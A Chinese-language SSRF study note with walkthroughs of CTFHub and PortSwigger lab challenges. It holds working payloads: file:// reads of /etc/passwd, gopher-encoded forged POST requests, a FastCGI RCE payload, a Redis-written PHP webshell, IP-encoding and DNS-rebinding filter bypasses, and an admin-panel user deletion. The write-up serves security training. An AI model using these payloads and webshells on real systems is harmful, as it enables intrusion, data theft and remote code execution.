SSRF

SSRF 学习笔记

SSRF简介

  • **服务器请求伪造 **ssrf(service side request forgery)

SSRF是一种由攻击者形成服务器端发起的安全漏洞,本质上属于信息泄露漏洞

SSRF漏洞原理

攻击方式:借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。

利用的是服务端的请求伪造:ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

image-20240525141648274

SSRF漏洞利用

SSRF漏洞利用:通过服务器A (SSRF服务器)访问A所在内网的其他服务器获取信息,进而利用SSRF实现其他漏洞利用。

  • 利用file协议读取本地文件
  • 利用file协议读取本地文件
    对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序
  • 攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
  • 攻击运行在内网或本地的应用程序
    对内网web应用进行指纹识别,识别企业内部的资产信息

SSRF中url的伪协议

  • file:// 从文件系统中获取文件内容,如file:///etc/passwd
  • dict:// 字典服务协议,访问字典资源,如dict://lip:6739/info:
  • ftp:// 可用于网络端口扫描
  • sftp:// SSH文件传输协议或安全文件传输协议
  • ldap:// 轻量级目录访问协议
  • tftp:// 简单文件传输协议
  • gopher:// 分布式文档传递服务

file://伪协议

从文件系统中获取文件内容,格式为file://[文件路径]

  1. file:///etc/password 读取文件password
  2. file:///etc/hosts 显示当前操作系统网卡的IP
  3. file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
  4. file:///proc/net/fib_trie 显示当前网段路由信息

image-20240529165215970

file:///etc/password

  • 用来直接读取文件password的信息

file:///etc//hosts

  • 用来查找当前操作系统网段的IP地址

image-20240529165527523

file:///proc/net.arp

  • 用来查看内网中有哪些主机是存活的

image-20240529165739491

优点:

  1. 不管对方主机开没开防火墙,都能扫描出来
  2. 发送arp请求,可以用来检测对方是否开启
  • 用burp suite进行扫描

image-20240529170133098

  • 利用intruder不断发送请求

image-20240529170103706

  • 即可扫描出处于运行状态的主机

file:///proc/net/fib_trie

  • 查看当前网段的路由信息

image-20240529170440246

dict伪协议

​ 在上面的内容中,我们已经使用file伪协议扫描出了主机内网的ip信息,那么接下来要想知道对方开了哪些端口,就需要用到dict伪协议

注:

  • ftp伪协议和sftp伪协议也可以,但是耗时比较长

image-20240529170957858

即:

  1. file:// 查找内网存活主机
  2. dict:// 查找内网主机开放端口

步骤如下:

  • 抓包(随意输入一个端口 如:80)

image-20240529171302542

  • 用intruder发送请求
  • 注意要用集束炸弹(因为有两个变量)

image-20240529171600677

  • 输入常用端口

image-20240529171643346

  • 根据length判断端口是否打开

image-20240529171930502

附:若用file扫描端口,时间过长

image-20240529171200915

http伪协议

作用:常规URL形式,允许通过HTTP1.0的GET方法,以只读访问文件或资源。

注:CTF中通常用于远程包含

image-20240529191323080

  • HTTP 用于目录扫描

image-20240529191828309

步骤如下:

  • 用burp suite抓包,发送到intruder

image-20240529192043250

  • 导入字典,对其子页面进行爆破扫描

  • 字典在Kali中的usr/share/wordlists/dirb/commont.txt

  • 结果如下:

image-20240529192610695

  • 即可打开对应的子页面

image-20240529192525849

image-20240529192536149

image-20240529192555300

gopher伪协议

利用范围较广:【GET提交】、【POST提交】、【redis】、【Fastcgi】、【sql】

其中,gopher伪协议能用于POST提交比较重要,因为之前学习的几乎是GET提交(例如HTTP伪协议)

基本格式:

1
URL:gopher://<host>:<port>/<gopher-path>

  • web也需要加端口号80
  • gopher协议默认端口为70
  • gopher请求不转发第一个字符,因此一般用_填充首位

image-20240529193420844


  • 在name.php这个子页面下实验
  • eg:使用GET传参提交

image-20240529193710067


  • POST提交的原理

image-20240529193656826


GET提交

利用burp suite进行GET提交

  • 首先抓包

image-20240529194319103

  • 将文件头部信息提取出来修改

image-20240529194323174

  • 例如这里要打开的是name.php子页面,就将ssrf/ssrf改为name
  • 再将目标IP地址改上
  • 注意:千万不要忘了回车换行!!!

image-20240529194327024

法一:

将其进行部分url编码后提交

image-20240529194332135

  • 注意添加端口号80填充位_

URL编码

  • 空格 %20
  • 问号 %3f
  • 换行符 %0d%0A

image-20240529194340932

  • 将构造后的payload提交即可

image-20240529194351939

1
gopher://172.250.250.4:80/_GET%20/name.php%3fname=benben%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A
法二

直接将三行文件头部信息全部URL编码两次

  • 抓包gopher://172.250.250.4:80/_
1
gopher://172.250.250.4:80/_

image-20240529194353875

  • 将刚才的代码内容复制到文件包末尾

image-20240529194355365

  • 连续进行两次URL编码

image-20240529194356401

image-20240529201329137

  • 注意这里要记得写入参数值,否则没有结果

image-20240529201444646

注意:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%Oa,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  4. URL编码改为大写,冒号注意英文冒号
  5. 如果使用BP发包需要进行两次url编码
  6. GET提交最后需要增加一个换行符

POST提交

首先与GET提交的区别:需要四个头部信息

image-20240529202017608

  • 从文件包中提取这些信息,并写成代码,以备URL编码

image-20240529202258427

  • 将两次URL编码后的代码放到gopher格式后面
1
gopher://172.250.250.4:80/_
法一:
  • 将代码进行两次URL编码

image-20240529202502271

  • 然后直接放在gopher后面,构造成payload

image-20240529202523219

  • 最后用hackbar拦截下来,进行提交

image-20240529202623088

法二:
  • 用Burp suite抓包,如何将刚刚构造的代码内容复制到文件末尾

image-20240529202739115

image-20240529202758103

  • 进行两次URL编码

image-20240529202818433

image-20240529202825129

image-20240529202832423

  • 即可

产生SSRF漏洞的函数

SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞函数

1、file_get_contents:

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

2、sockopen():

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

3、curl_exec():

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

注意事项

  • 一般情况下PHP不会开启fopen的gopher wrapper
  • file_get_contents的gopher协议不能URL编码
  • file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
  • curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
  • curl_exec() 默认不跟踪跳转,
  • file_get_contents() file_get_contents支持php://input协议

SSRF绕过方式

利用进制转换进行绕过

利用进制转换进行绕过127限制

  • 当127.0.0.1被限制,无法直接访问时

image-20240529204130544

  • 可以看到,直接访问127.0.0.1是行不通的

image-20240529204116742

  • 这个时候我们就可以将其进行进制转换

image-20240529204411015

原始:(点分十进制)

1
http://127.0.0.1/flag.php

进行进制转换,例如:

八进制

1
http://017700000001/flag.php

或者

1
http://0177.0000.0001/flag.php

十六进制

1
http://0x7F000001/flag.php

1
http://0x7F.0.0.1/flag.php

或者

1
http://0x7F.0x00.0x00.0x01/flag.php

十进制(连续)

1
http://2130706433/flag.php

小结:

image-20240529205017384

302重定向

302重定向:针对私网地址被限制的情况

原理:

image-20240530170432291

  • 构建302重定向代码

image-20240530170641308

注:不能使用python

image-20240530170659892

  • 尝试用内网IP,失败

image-20240530170902171

  • 改用公网IP,成功

image-20240530170834395

DNS重绑定绕过

这里我们先来提一下针对SSRF漏洞防御

  1. 解析目标的URL,获取其Host
  2. 解析Host,获取Host指向的IP地址
  3. 检查IP地址是否为内网地址
  4. 请求URL
  5. 如果有跳转,拿出跳转URL,执行1

这些防御可以有效地限制:

  • 直接访问内网IP
  • IP进制转换
  • 302跳转
  • xip.io/xip.name 以及短链接变换等URL变形
  • 畸形URL
  • iframe攻击

因此,针对这种防御,我们就可以使用DNS Rebinding Attack(DNS重绑定攻击)

DNS 重绑定攻击的原理

先来看看SSRF的防御模式

image-20240530172204403

第一次DNS解析:是对URL的host进行DNS解析

第二次DNS解析:使用CURL发包的时候进行解析

利用两次DNS解析的时间差进行绕过。

攻击原理

image-20240530172427304

image-20240530172920777

  • 网站:提供TTL为0的解析
1
https://lock.cmpxchg8b.com/rebinder.html
  • 生成DNS解析的域名

image-20240530172637356

  • 用生成的域名进行重绑定

image-20240530172723805

image-20240530172733578

小结:

image-20240530172811215

利用@进行绕过

可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。

例如:

1
http://notfound.ctfhub.com@127.0.0.1/flag.php

原理:

@前面会被解析成用户名,后面是访问地址

SSRF靶场

CTFHub

内网访问

  • 题目要求:

访问位于127.0.0.1的flag.php

image-20240601182524655

  • 打开网址
  • 一片空白,因为还没有输入URL

image-20240601182629358

  • 手敲URL,访问flag.php

image-20240601182740339

  • 拿到flag

伪协议读取文件

  • 题目要求:

读取Web目录下的flag.php

image-20240601184422655

  • 进入题目环境

image-20240601184353100

伪协议读取文件,于是想到用file伪协议

file伪协议解题

  • 起初对:“Web目录”有误解

  • 构造了file:///etc/flag.php还有file:///web/flag.php,但发现都不行

这里请教了一下狗屁通

image-20240601184828963

  • 因此,应该构造的payload应为:
1
file:///var/www/html/flag.php

image-20240601185022253

  • 有回显,但没有flag,查看源代码看看

  • 拿到flag

image-20240601185100686

补充:

Web目录

假设你要读取Web服务器上的flag.php文件,可以从以下路径尝试:

  1. Apache (Linux):

    1
    2
    3
    file:///var/www/html/flag.php
    file:///var/www/flag.php
    file:///usr/local/apache2/htdocs/flag.php
  2. Nginx (Linux):

    1
    2
    file:///usr/share/nginx/html/flag.php
    file:///var/www/html/flag.php
  3. XAMPP (Windows):

    1
    file:///C:/xampp/htdocs/flag.php
  4. IIS (Windows):

    1
    file:///C:/inetpub/wwwroot/flag.php

通过尝试这些路径,就可以逐步确定目标Web目录的具体路径。

解:

1
file:///var/www/html/flag.php

/var/www/html 是 Unix/Linux 系统中一个常见的目录路径。这个路径通常用于存放 Web 服务器(如 Apache 或 Nginx)托管的静态文件和动态脚本。具体解释如下:

  • /var:这个目录用于存放可变数据文件,即那些经常发生变化的文件。包括系统日志文件、包管理系统的缓存、临时文件等等。
  • /var/www:这是 Web 服务器的默认根目录,通常包含 Web 服务器可以访问的所有网站文件。
  • /var/www/html:这是 Web 服务器的默认文档根目录,通常是存放网站的主要内容,包括 HTML 文件、CSS 文件、JavaScript 文件以及 PHP 脚本文件等。

所以,file:///var/www/html/flag.php 这个 URL 表示你在本地文件系统中访问位于 /var/www/html 目录下的 flag.php 文件。这通常是一个 PHP 脚本文件,Web 服务器会通过解析这个文件来生成动态网页内容并返回给客户端。

端口扫描

  • 题目要求
1
来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

image-20240601192656410

  • 用burp suite扫描端口号,从8000到9000

  • 先构造出一个payload:URL=127.0.0.1:8000

  • 用bp抓包,发送到intruder

  • 添加$

image-20240601192842586

  • 用数值爆破

image-20240601192905166

  • 再根据长度找到对应端口即可

POST请求

  • 本题考查POST请求
1
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

image-20240601222308573

  • 首先访问目标地址发现是空白页面;网页导航栏中有url的参数信息,说明肯定是有ssrf信息的

image-20240601222447023

尝试访问127.0.0.1/flag.php

1
127.0.0.1/flag.php

image-20240601222548715

  • 查看源代码,可以发现Key的值
1
key=baab86e14b9c9109be8f54a01411be26

image-20240601222553706

分别查看index.php和flag.php

image-20240601222729852

  • flag.php

image-20240601222757713

  • 可见:要POST上传key的值才能拿到flag
  • 想到用gopher伪协议上传

POST传参了key

$_SERVER[‘SERVER_ADDR ‘ ]:当前运行脚本所在的服务器(非本地)的 IP 地址。

所以在flag.php传入key值返回flag,index.php可以利用curl传url

故用gopher协议在index.php中构造post请求包往flag.php传key值,从而获得flag

构造 Gopher协议所需的 POST请求:

POST包必须包含的四个参数:

  • Content-Type
  • Content-Length(key的长度)
  • host
  • post

利用gopher伪协议传参

  • 先随便输入表单值,抓包

image-20240601223007091

  • 从数据包里提取,构造代码

image-20240601223108343

  • 构造出payload

image-20240601223201227

image-20240601223308461

  • 将%0A替换成%0D%A

image-20240601223349396

  • 进行第二次URL编码

image-20240601223435204

  • 拿到编码后的payload
1
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbaab86e14b9c9109be8f54a01411be26
  • gopher伪协议的格式:
1
gopher://127.0.0.1:80/_
  • 完整的payload
1
?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbaab86e14b9c9109be8f54a01411be26
  • 访问完整的URL
1
http://challenge-15abad72ec7515ae.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbaab86e14b9c9109be8f54a01411be26
  • 最终拿到flag

image-20240601223929796

思考

法一:将原始payload进行部分URl编码

法二:将原始payload全部进行URL编码

image-20240601222010719

  • 经过检查:

区别:

  • Host后没加上空格和key的k用的是小写 这两个不同均不影响payload的作用
  • 真正影响的是urlencod没加上ed,应为urlencoded

文件上传

  • 题目要求上传一个文件到flag.php

image-20240602192049162

  • 进入网页,为空白

image-20240602192139085

尝试访问127.0.0.1/flag.php

  • 发现有一个文件上传的地方

image-20240602192210353

  • 但是没有提交按钮

image-20240602192640903

查看index.php

  • 与前一题基本一样

image-20240602192707421

查看flag.php

  • 访问并且查看源代码,得到以下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>

image-20240602192358956

1
2
3
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;

意思是:

  • 需要在本地上传一个文件,且文件不能为空

而且这里缺了一个提交按钮,我们直接给他加上

编写一个提交按钮

发现没有提交按钮,没关系,F12直接在网页编写一个按钮

  • F12打开控制台,在元素处直接修改HMTL

image-20240602193253393

  • 手动加上一个按钮

image-20240602193349440image-20240602193351592

  • 前端网页就会出现按钮

image-20240602193422566

  • 现在再提交

image-20240602193437049

从刚刚flag.php的源码中我们可以知道

  • 要从127.0.0.1随便上传一个文件,就能拿到flag
  • 从别的地址上传还是会弹出像just view 的页面,所以不关文件内容的事情,我们要让服务端自己发请求,这就达到伪造本机地址的目的

抓包改host为127.0.0.1还是不行,还是走gopher协议吧

抓POST的文件上传包

  • 按钮提交上传,抓包

image-20240602201247402

  • 把多余部分删掉(就是红字部分)
  • 将包中的host也改成127.0.0.1

image-20240602222744969

  • 关键点在于这个name=file,因为题目不要求上传的文件内容,但是要求上传的文件名是file

用gopher伪协议上传POST包

  • 然后在最初的界面抓包

image-20240602223030839

  • 复制刚刚的数据包,进行两次编码

    image-20240602223002641

  • 因为两次编码太长,可以第二次用“只对特殊字符编码

image-20240602222944604

  • 拿到flag

image-20240602223018347

FastCGI协议

1
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

image-20240604191534603

Fastcgi协议分析

解题思路

使用gopherus工具

(工具下载地址)

1
https://github.com/tarunkant/Gopherus.git
  • 从gopherus压缩文件打开终端

image-20240604191940076

  • 打开fastcgi协议
  • 输入命令:
1
python 2 gopherus.py --exploit fastcgi

image-20240604192120307

  • 再打开文件index.php
1
/var/www/html/index.php
  • 同时查看目录
1
ls /

image-20240604192400419

  • 将得到的结果进行一次URL编码

  • 后放入原网页的url处

  • burp suite进行特殊字符部分编码

    (试过全部编码能得到一样的结果,只是会比较长)

  • 建议用burp suite编码比较好(不知道为什么有时候用其他工具进行URL编码就得不到结果) (其实也可以)

image-20240604192549606

  • 在原网页打开

  • 得到flag文件的文件名

flag_5a728dabfd4d051270bb89b051c70db6image-20240604192719096

  • 然后在Kali终端再使用一次fastcgi协议

  • 这次要读取flag文件

  • 先打开index.php

1
/var/www/html/index.php
  • 读取flag文件
1
cat /flag_5a728dabfd4d051270bb89b051c70db6

或者可以用:(如果说有过滤的话)

1
<?php system('cat /flag_5a728dabfd4d051270bb89b051c70db6');?>

image-20240604193341641

  • 将这次得到的结果进行一次URL编码

image-20240604193438570

  • 再将编码后的payload放到原网页的url后面
1
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag_5a728dabfd4d051270bb89b051c70db6%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
  • 拿到flag

image-20240604193736544

Redis协议

1
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

image-20240604202131984

Redis协议分析

什么是Redis协议?

Redis协议,也被称为 RESP (Redis Serialization Protocol),它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。可以说是最简单的一种传输协议

解题思路

  • 首先访问环境

image-20240604202752383

  • 使用工具gopheus来生成payload

  • 输入命令

1
python2 gopherus.py --exploit redis

image-20240604202932561

  • 这里我们使用PHPshell 并且使用默认路径,生成代码的文件名为 shell.php
1
phpshell

image-20240604203013260

  • 直接Enter

  • 输入:

    1
    <?php @eval($_POST['cmd']);?>
  • 得到生成的pyload

image-20240604212840276

  • 将其进行一次URL编码
  • 随后放入原网页的url处

image-20240604205529964

(按理说原网页会显示504,但是这里死活不行)(后来换Google浏览器就可以了)

image-20240604205510046

  • 再访问shell.php

image-20240604205457095

  • 成功访问!!!
  • 说明shell.php文件成功上传了

image-20240604210250009

法一
  • 下面我们就可以读取
  • 先尝试ls

image-20240604212440422

(这里测试了很久都打不开,后来发现因为上传的是POST传参,所以在url处不行(url是GET))

  • 于是用Hackbar,进行POST传参试试

  • 这里由于用的是eval,而不是system,而ls命令不是php代码,所以要用到system函数

image-20240604212936161

  • 把ls用system函数括起来

image-20240604213014899

  • 即可成功执行命令,拿到flag文件名

image-20240604213108431

  • 下面再读取flag

image-20240604213153313

  • 执行命令,成功拿到flag

image-20240604213227873

法二

那么成功上传shell.php之后我们其实可以直接连接蚁剑了

(失败了好几次,后来才发现是因为复制url的时候多复制了一个http://)

image-20240604213527193

  • 进入蚁剑,访问

image-20240604213635099

  • 点开shell.php
  • 可以看到我们刚刚上传上去的木马

image-20240604213719906

  • 找啊找,在根目录里找到flag文件

image-20240604213825189

  • 顺利拿到flag

image-20240604213845718

思考
1.若改用GET传参

image-20240604214324188

  • 那么是不是就可以直接在url处ls???

image-20240604214607609

2.不输入Shell内容
  • 即不输入<?php @eval($_POST['cmd']);?>直接Enter

image-20240604214915599

  • 发现这样得到的代码,其实本身就是GET传参

image-20240604214753561

  • 把这段代码进行一次URL编码后放到原网页url处

image-20240604215202857

  • shell.php上传成功

image-20240604215241268

  • 经过测试,果然这样通过GET传参,就可以直接在url处ls!!

image-20240604215059027

综上,直接Enter得到的代码其实就是

1
<?php system($_GET['cmd']); ?>

的编码,默认为GET传参,且键值对的键为“cmd

小结
  • 第一行这里我们填写phpshell,因为我们需要的是phpshell
  • 第二行可以不填,默认根路径为/var/www/html
  • 第三行就写入我们的shell代码

image-20240604220246016


所以说,其实用GET传参和用POST传参都可以

  • 若用POST传参,那么可以用Hackbar传命令,也可以直接用蚁剑连接(毕竟shell.php已经上传了)

  • 若用GET传参,直接在url处lscat就好了

将编码后的代码放到原网页的url处,只要能成功上传shell文件,都可以用蚁剑连接

URLBypass

1
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

image-20240607062041184

法一

  • 利用**@**
  • 构造payload
1
http://notfound.ctfhub.com@127.0.0.1/flag.php

image-20240607062145487

image-20240607062200760

原理

@前面会被解析成用户名,后面是访问地址(语法规定)

补充

绕过SSRF的方法

1.攻击本地

1
2
http://127.0.0.1:80
http://localhost:22

2.利用[::]

http://[::]:80/ =>http://127.0.0.1

不加端口的话是http://[::]/

3.利用@

这里就是在指定的网址后加@+127.0.0.1

4.利用短域名

http://dwz.cn/11SMa >>> http://127.0.0.1

5.利用特殊域名

原理是DNS解析

http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/

6.利用DNS解析

在域名上设置A记录,指向127.0.0.1

7.利用上传

修改”type=file”为”type=url”

比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

8.利用句号

127。0。0。1=>127.0.0.1

9.进行进制转换

可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

10.利用特殊地址

http://0/

数字IP Bypass

1
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

image-20240607063502134

  • 根据题目意思,ban掉了127和172
  • 不能使用点分十进制访问127.0.0.1

那么我们就考虑用进制转换

法一 进制转换

十进制(连续)

1
http://2130706433/flag.php

image-20240607063638631

image-20240607063649682

八进制

1
http://017700000001/flag.php

image-20240607063735122

image-20240607063739155

或者

1
http://0177.0000.0001/flag.php 不行

十六进制

1
http://0x7F000001/flag.php

image-20240607063922666image-20240607063924052

1
http://0x7F.0.0.1/flag.php 不行

1
http://0x7F.0x00.0x00.0x01/flag.php 不行

302跳转

1
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

image-20240608152121396

  • 查看网页源代码file:///var/www/html/index.php

image-20240608152325840

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
  • 限制了127/172/10/192

可用localhost代替127.0.0.1

image-20240608152154809

image-20240608152204144

DNS重绑定

1
关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

image-20240608153021062

浅谈DNS重绑定

浅谈DNS重绑定漏洞 - 知乎 (zhihu.com)


  • 进入环境,尝试访问127.0.0.1/flag.php

image-20240608153111686

  • 通过file协议查看网页源代码file:///var/www/html/index.php

image-20240608153150172

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

  • emmm,跟上一题一样的黑名单,还是ban掉了127|172|10|192

ps

  • 试了一下用localhost代替127.0.0.1
  • 就拿到flag了。。。

image-20240608153321221


不过题目要求以DNS重绑定的方式绕过:

DNS 重绑定

image-20240608153631791

  • 使用生成的域名构造payload:
1
?url=7f000001.7f000002.rbndr.us/flag.php

image-20240608153813385

image-20240608153819321

  • 成功拿到flag

image-20240608154002567

1
?url=7f000001.7f000005.rbndr.usv/flag.php

image-20240608154054957

  • 同样也可以

BurpSuite-Labs

Lab-01 针对本地服务器的基本 SSRF

针对本地服务器的基本 【SSRFBasic SSRF against the local server】

This lab has a stock check feature which fetches data from an internal system.
该实验室具有库存检查功能,可从内部系统获取数据。

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
要解决实验室问题,请更改库存检查 URL 以访问管理 http://localhost/admin 界面并删除用户 carlos

  • 浏览并 /admin ,发现无法直接访问管理页面,不能直接删除carlos

image-20240709154230123

  • 访问产品,单击“检查库存”,在 Burp Suite 中拦截请求,并将其发送到 Repeater。

image-20240709154358394

  • stockApi 参数中的 URL 更改为 http://localhost/admin

image-20240709154452980

-

image-20240709154638489

  • 注意此处要进行URL编码
  • 因为原先的http也是URL编码过的

image-20240709154731504

  • 即可显示管理界面

image-20240709154823740

  • 阅读 HTML 以标识要删除目标用户的 URL,即:

    1
    http://localhost/admin/delete?username=carlos

image-20240709154905054

  • stockApi 参数中提交此 URL,以传递 SSRF 攻击。

image-20240709154938829

  • 即可solve

image-20240709155001629

Lab-02 针对另一个后端系统的基本 SSRF

针对另一个后端系统的基本 SSRF 【Basic SSRF against another back-end system】

This lab has a stock check feature which fetches data from an internal system.
该实验室具有库存检查功能,可从内部系统获取数据。

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
要解决实验室问题,请使用库存检查功能扫描内部 192.168.0.X 范围以查找端口 8080 上的管理界面,然后使用它删除用户 carlos

  • Access lab,访问一个产品,点击“检查库存”,在 Burp Suite 中拦截请求,并将其发送给Intruder

image-20240709155520282

  • 单击“清除§”,更改 stockApi 参数以 http://192.168.0.1:8080/admin 然后突出显示IP地址的最后一个八位字节(数字 1 ),单击“添加§”。

image-20240709155527245

  • 注意要URL编码,即改为%3a
  • 然后添加$

image-20240709155559910

  • 切换到“有效负载”选项卡,将有效负载类型更改为“数字”

  • 然后分别在“从”和“到”和“步骤”框中输入 1、300 和 1

  • 开始攻击

image-20240709155724232

  • 单击“状态”列,按状态代码升序排序
  • 会看到一个状态为 200 的条目,显示管理界面

image-20240709155845512

  • 然后就跟上一题一样,在HTML里找到url,修改参数 删去carlos

  • 发送到Repeater进行操作

image-20240709160037532

  • 路径更改 stockApi 为: /admin/delete?username=carlos

image-20240709160100296

  • 即可解决

image-20240709160224280image-20240709160225758

Lab-03 带外检测的盲 SSRF

带外检测的盲 SSRF【Blind SSRF with out-of-band detection】

This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
本网站使用分析软件,该软件在加载产品页面时获取 Referer 标头中指定的 URL

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
若要解决实验室问题,请使用此功能向公共 Burp Collaborator 服务器发出 HTTP 请求

  • 进入实验室,再访问产品,在 Burp Suite 中拦截请求,并将其发送到 Repeater
  • 注意:这里最好先用bp内置浏览器进入实验室,打开拦截后再点击访问产品
  • 若直接把访问产品的url丢到内置浏览器里抓波,可能没有Referer

image-20240709160929347

  • 打开Collaborator,复制到剪切板
  • 将Referer的原始域替换为 Burp Collaborator 生成的域

image-20240709161030741

  • 替换如下:

image-20240709161219160

image-20240709161215402

  • 在Collaborator点击“立即轮询”

image-20240709161441895

  • 后在Repeater发送请求

image-20240709161425840

  • 即可解决实验室问题

Lab-04 具有基于黑名单的输入滤波器的 SSRF

具有基于黑名单的输入滤波器的 SSRF【SSRF with blacklist-based input filter】

This lab has a stock check feature which fetches data from an internal system.
该实验室具有库存检查功能,可从内部系统获取数据。
